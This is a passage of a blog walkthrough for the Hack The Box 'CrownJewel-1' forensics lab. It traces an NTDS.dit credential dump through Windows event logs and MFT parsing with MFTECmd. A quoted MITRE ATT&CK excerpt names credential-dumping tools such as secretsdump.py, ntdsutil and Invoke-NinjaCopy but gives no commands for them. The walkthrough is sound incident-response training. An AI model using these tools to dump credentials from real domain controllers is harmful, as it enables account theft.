class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1003/003/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;&lt;em&gt;MITRE ATT&amp;amp;CK&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt; knowledge base to gather some intelligence about the technique of dumping the &lt;em&gt;NTDS.dit&lt;/em&gt; file (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1003/003/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;T1003.003&lt;/em&gt;&lt;/a&gt;.)&lt;/p&gt;&#xA;&lt;p&gt;According to &lt;strong&gt;&lt;em&gt;MITRE ATT&amp;amp;CK&lt;/em&gt;&lt;/strong&gt;&lt;em&gt;:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in &lt;code&gt;%SystemRoot% TDS tds.dit&lt;/code&gt; of a domain controller.1(&lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Active_Directory&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://en.wikipedia.org/wiki/Active_Directory&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;In addition to looking for NTDS files on active Domain Controllers, adversaries may search for backups that contain the same or similar information.2(&lt;a class=&#34;link&#34; href=&#34;http://adsecurity.org/?p=1275&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;http://adsecurity.org/?p=1275&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Volume Shadow Copy&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;secretsdump.py&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Using the in-built Windows tool, ntdsutil.exe&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Invoke-NinjaCopy&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Well, that’s not good! But now that we have some background, we can start to build a timeline by identifying when the attacker started the &lt;em&gt;Volume Shadow Copy&lt;/em&gt; service. To do this, open the &lt;em&gt;SYSTEM.evtx&lt;/em&gt; file found in &lt;em&gt;Artifacts&lt;/em&gt; folder. The &lt;em&gt;SYSTEM&lt;/em&gt; log includes various details, including the start and stop states of services which are logged as &lt;em&gt;Windows Event&lt;/em&gt; &lt;strong&gt;&lt;em&gt;7036.&lt;/em&gt;&lt;/strong&gt; If you’re in a &lt;em&gt;Windows&lt;/em&gt; environment, this will open with the &lt;em&gt;Windows Event Viewer.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once the &lt;em&gt;SYSTEM&lt;/em&gt; log is opened, we’ll filter it for the relevant events we want by pressing &lt;em&gt;Filter Current Log&lt;/em&gt; and entering Event ID &lt;em&gt;7036&lt;/em&gt; into the field.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;d09d57109eb607a447878fa9df40ea83_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;236px&#34; data-flex-grow=&#34;98&#34; height=&#34;549&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-1-sherlock-walkthrough/d09d57109eb607a447878fa9df40ea83_MD5.png&#34; width=&#34;541&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;With the results now filtered, press &lt;em&gt;Find&lt;/em&gt; and enter the keyword “&lt;em&gt;Volume&lt;/em&gt;” — this will help us to find the correct &lt;em&gt;Volume Shadow Copy service&lt;/em&gt; event.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;174431b1cdc4b3352e02ce38a6061276_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;301px&#34; data-flex-grow=&#34;125&#34; height=&#34;636&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-1-sherlock-walkthrough/174431b1cdc4b3352e02ce38a6061276_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Finally, let’s check the event &lt;em&gt;Details &amp;gt; XML View &amp;gt; TimeCreated SystemTime&lt;/em&gt; to get the exact time the service was started.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;d31ef7588e4dffba78a1cacbf7cc7c66_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;358px&#34; data-flex-grow=&#34;149&#34; height=&#34;536&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-1-sherlock-walkthrough/d31ef7588e4dffba78a1cacbf7cc7c66_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;If that’s too much reading, here is a &lt;em&gt;GIF&lt;/em&gt; of the process to summarize.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;6e5c0dd7ea9a9f01c24599be0d361214_MD5.gif&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;554px&#34; data-flex-grow=&#34;231&#34; height=&#34;750&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-1-sherlock-walkthrough/6e5c0dd7ea9a9f01c24599be0d361214_MD5.gif&#34; srcset=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-1-sherlock-walkthrough/6e5c0dd7ea9a9f01c24599be0d361214_MD5_hu_7d6586b60365451b.gif 800w, https://stumblesec.com/posts/hackthebox-crownjewel-1-sherlock-walkthrough/6e5c0dd7ea9a9f01c24599be0d361214_MD5_hu_59f3e8ff68f9db01.gif 1600w, https://stumblesec.com/posts/hackthebox-crownjewel-1-sherlock-walkthrough/6e5c0dd7ea9a9f01c24599be0d361214_MD5.gif 1734w&#34; width=&#34;1734&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;3b38532ad8f1b45d358bfe75cb017153_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1476px&#34; data-flex-grow=&#34;615&#34; height=&#34;130&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-1-sherlock-walkthrough/3b38532ad8f1b45d358bfe75cb017153_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-when-a-volume-shadow-snapshot-is-created-the-volume-shadow-copy-service-validates-the-privileges-using-the-machine-account-and-enumerates-user-groups-find-the-user-groups-it-enumerates-the-subject-account-name-and-also-identify-the-process-idin-decimal-of-the-volume-shadow-copy-serviceprocess&#34;&gt;Question 2: When a volume shadow snapshot is created, the Volume shadow copy service validates the privileges using the Machine account and enumerates User groups. Find the User groups it enumerates, the Subject Account name, and also identify the Process ID(in decimal) of the Volume shadow copy service process&#xA;&lt;/h3&gt;&lt;p&gt;Okay, to answer &lt;strong&gt;Question 2,&lt;/strong&gt; we’ll pivot over to the &lt;em&gt;SECURITY.evtx&lt;/em&gt; log. The key word in the question is “&lt;em&gt;enumerate,”&lt;/em&gt; which means we’ll want to filter our log by &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4799&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Event ID 4799&lt;/strong&gt;&lt;/a&gt; — &lt;em&gt;A security-enabled local group membership was enumerated.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4799&#34;  title=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4799&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;4799(S) A security-enabled local group membership was enumerated. - Windows 10&lt;/strong&gt;&#xA;_Describes security event 4799(S) A security-enabled local group membership was enumerated._learn.microsoft.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4799&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once we’ve filtered the log, let’s look for events with the same timestamp as the service event that we found in &lt;strong&gt;Question 1&lt;/strong&gt;– &lt;strong&gt;8:42:16 PM.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The first event we find has the &lt;em&gt;Group Name “Administrators&lt;/em&gt;,” and moving up to the next event in the list, the &lt;em&gt;Group Name&lt;/em&gt; is &lt;em&gt;“Backup Operators”.&lt;/em&gt; Both events will have the will the same &lt;em&gt;subject account name,&lt;/em&gt; &lt;strong&gt;DC01$&lt;/strong&gt;, the &lt;em&gt;Domain Controller’s&lt;/em&gt; machine account.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;cb862e8ca4a30bff772894e42b4d133b_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;220px&#34; data-flex-grow=&#34;91&#34; height=&#34;792&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-1-sherlock-walkthrough/cb862e8ca4a30bff772894e42b4d133b_MD5.png&#34; width=&#34;728&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now that we’ve uncovered both groups enumerated by the &lt;em&gt;Volume Shadow Copy Service (VSSVC.exe),&lt;/em&gt; and which &lt;em&gt;machine account&lt;/em&gt; the service ran with, let’s submit the answer and move on to the next question.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c30f5b8d940c44e3e0d0cc91104c854a_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1443px&#34; data-flex-grow=&#34;601&#34; height=&#34;133&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-1-sherlock-walkthrough/c30f5b8d940c44e3e0d0cc91104c854a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-identify-the-process-id-in-decimal-of-the-volume-shadow-copy-serviceprocess&#34;&gt;Question 3: Identify the Process ID (in Decimal) of the volume shadow copy service process.&#xA;&lt;/h3&gt;&lt;p&gt;Looking at the same event from &lt;strong&gt;Question 2,&lt;/strong&gt; let’s focus on the &lt;em&gt;Process Information&lt;/em&gt; section. Here we see the &lt;em&gt;Process ID&lt;/em&gt; and the &lt;em&gt;Volume Shadow Copy Service&lt;/em&gt; Executable &lt;em&gt;Process Name (VSSVC.exe)&lt;/em&gt; that we are looking for.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;8f67b202b0e40dd97865389e1da7e829_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;350px&#34; data-flex-grow=&#34;146&#34; height=&#34;305&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-1-sherlock-walkthrough/8f67b202b0e40dd97865389e1da7e829_MD5.png&#34; width=&#34;446&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This gives us half of our answer, but we need to do some extra legwork. The &lt;em&gt;Windows Event log&lt;/em&gt; displays &lt;em&gt;Process IDs&lt;/em&gt; in &lt;em&gt;hexadecimal&lt;/em&gt;, but to answer &lt;strong&gt;Question 3&lt;/strong&gt; we need the &lt;em&gt;Decimal&lt;/em&gt; value. No problem, let’s just use a simple online calculator to convert it:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.rapidtables.com/convert/number/hex-to-decimal.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Hex to Decimal Converter (rapidtables.com)&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;e46536a9ba6ba8e3802f1b8e57aaee6a_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;231px&#34; data-flex-grow=&#34;96&#34; height=&#34;523&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-1-sherlock-walkthrough/e46536a9ba6ba8e3802f1b8e57aaee6a_MD5.png&#34; width=&#34;505&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;e3b62b2cd42d2765e561c6bfa71ec550_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1641px&#34; data-flex-grow=&#34;683&#34; height=&#34;117&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-1-sherlock-walkthrough/e3b62b2cd42d2765e561c6bfa71ec550_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-find-the-assigned-volume-idguid-value-to-the-shadow-copy-snapshot-when-it-wasmounted&#34;&gt;Question 4: Find the assigned Volume ID/GUID value to the Shadow copy snapshot when it was mounted.&#xA;&lt;/h3&gt;&lt;p&gt;Now that we’ve already looked over the &lt;em&gt;SYSTEM.evtx&lt;/em&gt; and &lt;em&gt;SECURITY.evtx&lt;/em&gt;, let’s move on to the third provided event log from the &lt;em&gt;Artifacts&lt;/em&gt; folder, &lt;em&gt;Microsoft-Windows-NTFS.evtx.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;This event log holds the operational events of the &lt;em&gt;Windows NTFS file system&lt;/em&gt; on the victim’s device. Once we open this log, we’ll continue with our method of looking at the first event following the timestamp of the &lt;em&gt;Volume Shadow Copy service&lt;/em&gt; events from the previous questions.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;bcfc1993e5c5237cc38346b1f4a7c1c9_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;208px&#34; data-flex-grow=&#34;86&#34; height=&#34;918&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-1-sherlock-walkthrough/bcfc1993e5c5237cc38346b1f4a7c1c9_MD5.png&#34; width=&#34;797&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The first event with a timestamp after the &lt;em&gt;VSS&lt;/em&gt; service was started contains an interesting reference to &lt;em&gt;VolumeShadowCopy1.&lt;/em&gt; Let’s click into the &lt;em&gt;Details&lt;/em&gt; tab and gather some additional information:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;79610b21801634deca653f7601085c00_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;208px&#34; data-flex-grow=&#34;86&#34; height=&#34;909&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-1-sherlock-walkthrough/79610b21801634deca653f7601085c00_MD5.png&#34; width=&#34;790&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Inside of the &lt;em&gt;Details&lt;/em&gt; view_,_ we can see some additional event data including the &lt;em&gt;VolumeCorrelationId GUID —&lt;/em&gt; this &lt;em&gt;GUID&lt;/em&gt; is the value we need to answer &lt;strong&gt;Question 4!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;002e1811f64e1dc00e4f619691f690bc_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1641px&#34; data-flex-grow=&#34;683&#34; height=&#34;117&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-1-sherlock-walkthrough/002e1811f64e1dc00e4f619691f690bc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-identify-the-full-path-of-the-dumped-ntds-database-ondisk&#34;&gt;Question 5: Identify the full path of the dumped NTDS database on disk.&#xA;&lt;/h3&gt;&lt;p&gt;To uncover the answer to &lt;strong&gt;Question 5&lt;/strong&gt;, we’ll need to pivot away from the &lt;em&gt;Windows Event Logs&lt;/em&gt; since they won’t have the artifacts that we need.&lt;/p&gt;&#xA;&lt;p&gt;But remember the fourth piece of evidence we had, the &lt;em&gt;$MFT&lt;/em&gt; file_?_ It’s time to use it! But first, let’s gain a foundational understanding of what the &lt;em&gt;MFT&lt;/em&gt; is to figure out how it can help us find the path of the dumped &lt;em&gt;NTDS&lt;/em&gt; database.&lt;/p&gt;&#xA;&lt;p&gt;According &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1564/004/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;MITRE ATT&amp;amp;CK&lt;/em&gt;&lt;/a&gt;&lt;em&gt;:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Okay, very interesting! With this background, it seems promising that we could discover the &lt;em&gt;NTDS&lt;/em&gt; file path. So how do we find the information then? One option is to use &lt;a class=&#34;link&#34; href=&#34;https://github.com/EricZimmerman/MFTECmd&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Eric Zimmerman’s&lt;/em&gt; &lt;strong&gt;MFTECmd&lt;/strong&gt;&lt;/a&gt; to parse the provided &lt;em&gt;MFT&lt;/em&gt; file and export the results to a &lt;em&gt;CSV&lt;/em&gt; file.&lt;/p&gt;&#xA;&lt;p&gt;Once the tool is installed in your analysis environment, we can use the below syntax to have &lt;em&gt;MFTECmd&lt;/em&gt; to parse the file:&lt;/p&gt;&#xA;&lt;p&gt;MFTECmd.exe -f &amp;ldquo;&amp;lt;Path-to-$MFT&amp;gt;&amp;rdquo; &amp;ndash;csv &amp;ldquo;&amp;lt;Path-to-Output.csv&amp;gt;&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;4a5d20b28171af04c019032ac0b054a8_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;935px&#34; data-flex-grow=&#34;389&#34; height=&#34;308&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-1-sherlock-walkthrough/4a5d20b28171af04c019032ac0b054a8_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-1-sherlock-walkthrough/4a5d20b28171af04c019032ac0b054a8_MD5_hu_4df8404c94c45987.png 800w, https://stumblesec.com/posts/hackthebox-crownjewel-1-sherlock-walkthrough/4a5d20b28171af04c019032ac0b054a8_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now that we have the output from the tool, we can use any &lt;em&gt;CSV&lt;/em&gt; application to check the results. However, for the purposes of this walkthrough, I recommend using another of &lt;em&gt;Eric Zimmerman’s&lt;/em&gt; tools, &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Timeline Explorer&lt;/strong&gt;&lt;/a&gt;, to easily view, search, and sort the output data. In &lt;em&gt;Timeline Explorer,&lt;/em&gt; search for &lt;em&gt;NTDS.dit.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;fc791d5dea16a9c37af1416f7cf0c8f2_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1492px&#34; data-flex-grow=&#34;621&#34; height=&#34;193&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-1-sherlock-walkthrough/fc791d5dea16a9c37af1416f7cf0c8f2_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-1-sherlock-walkthrough/fc791d5dea16a9c37af1416f7cf0c8f2_MD5_hu_ac9d503d87afb7e2.png 800w, https://stumblesec.com/posts/hackthebox-crownjewel-1-sherlock-walkthrough/fc791d5dea16a9c37af1416f7cf0c8f2_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Looking at the timestamps of the returned results, only one matches the time period (&lt;strong&gt;Question 1)&lt;/strong&gt; of the incident and it has the full path of the file in the &lt;em&gt;Parent Path&lt;/em&gt; column!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;1eadb80c81bd1aa2ea0fa2d3f36771ce_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1641px&#34; data-flex-grow=&#34;683&#34; height=&#34;117&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-1-sherlock-walkthrough/1eadb80c81bd1aa2ea0fa2d3f36771ce_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-when-was-newly-dumped-ntdsdit-created-ondisk&#34;&gt;Question 6: When was newly dumped ntds.dit created on disk?&#xA;&lt;/h3&gt;&lt;p&gt;Fortunately, we already found the answer in the previous question. We just need to copy the timestamp from the &lt;em&gt;Created0x10&lt;/em&gt; column:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;8b04abfd8a3d3d50da563694a2cb3ff9_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1627px&#34; data-flex-grow=&#34;677&#34; height=&#34;118&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-1-sherlock-walkthrough/8b04abfd8a3d3d50da563694a2cb3ff9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-a-registry-hive-was-also-dumped-alongside-the-ntds-database-which-registry-hive-was-dumped-and-what-is-its-file-size-inbytes&#34;&gt;Question 7: A registry hive was also dumped alongside the NTDS database. Which registry hive was dumped and what is its file size in bytes?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, last question! The theory here is that a second file, a registry hive, was dumped at the same time and into the same directory as the &lt;em&gt;NTDS database&lt;/em&gt;. So, let’s continue working with &lt;em&gt;Timeline Explorer&lt;/em&gt; to see what else we can find within the parsed &lt;em&gt;$MFT&lt;/em&gt; file.&lt;/p&gt;&#xA;&lt;p&gt;To do this, we’re going to filter the results with the same &lt;em&gt;Parent Entry Number&lt;/em&gt; as the dumped &lt;em&gt;ntds.dit&lt;/em&gt; that we located in &lt;strong&gt;Question 5&lt;/strong&gt;. This should allow us to see other files with the same parent directory or location within the &lt;em&gt;NTFS&lt;/em&gt; volume.&lt;/p&gt;&#xA;&lt;p&gt;On the &lt;em&gt;Parent Entry Number&lt;/em&gt; column, you can either click the filter icon and select the corresponding number of the &lt;em&gt;ntds.dit&lt;/em&gt; we found, or we can simply type the number into the field. In this example, the &lt;em&gt;Parent Entry Number&lt;/em&gt; is 42.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;4d21d128450f8862b012d532eeec68f0_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;608px&#34; data-flex-grow=&#34;253&#34; height=&#34;473&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-1-sherlock-walkthrough/4d21d128450f8862b012d532eeec68f0_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-1-sherlock-walkthrough/4d21d128450f8862b012d532eeec68f0_MD5_hu_ec0afc999c498277.png 800w, https://stumblesec.com/posts/hackthebox-crownjewel-1-sherlock-walkthrough/4d21d128450f8862b012d532eeec68f0_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once we apply the filter, we will see two files: the &lt;em&gt;ntds.dit&lt;/em&gt; and the &lt;em&gt;SYSTEM&lt;/em&gt; registry hive. To get the file size, we just need to copy the value from the File Size column, and voilà!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c24e8ab1442ff0263c1463e309da1d91_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1573px&#34; data-flex-grow=&#34;655&#34; height=&#34;122&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-1-sherlock-walkthrough/c24e8ab1442ff0263c1463e309da1d91_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;Let’s wrap up this investigation of &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/sherlocks/CrownJewel-1&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CrownJewel-1&lt;/strong&gt;&lt;/a&gt; with a quick recap: Using the &lt;em&gt;Windows Event logs,&lt;/em&gt; we determined more details about the abused service, including the start time, process ID, and the mounted volume GUID. Then, with the help of &lt;em&gt;MFTECmd,&lt;/em&gt; we identified the file path of the dumped &lt;em&gt;NTDS&lt;/em&gt; database and even a second file that the adversary targeted. Great job with the triage!&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Hack The Box&lt;/strong&gt;&lt;/a&gt; for the fun and realistic challenge! This was my first lab with this platform and it was an excellent experience. While this challenge is geared toward beginners, the narrative and triage process were very realistic and valuable practice for all skill levels. Continuous, hands-on practice is key to staying sharp for incident response in the real world — very cool stuff!&lt;/p&gt;&#xA;&lt;p&gt;If you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, don’t forget to give it a clap. Your feedback is invaluable and helps me create content that supports your journey in cybersecurity. We’re in this together. Thanks for the support!&lt;/p&gt;&#xA;&lt;p&gt;Until next week’s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;f8c7eb38d3dcdbc5b7c0e94f0c183589_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;315px&#34; data-flex-grow=&#34;131&#34; height=&#34;515&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; 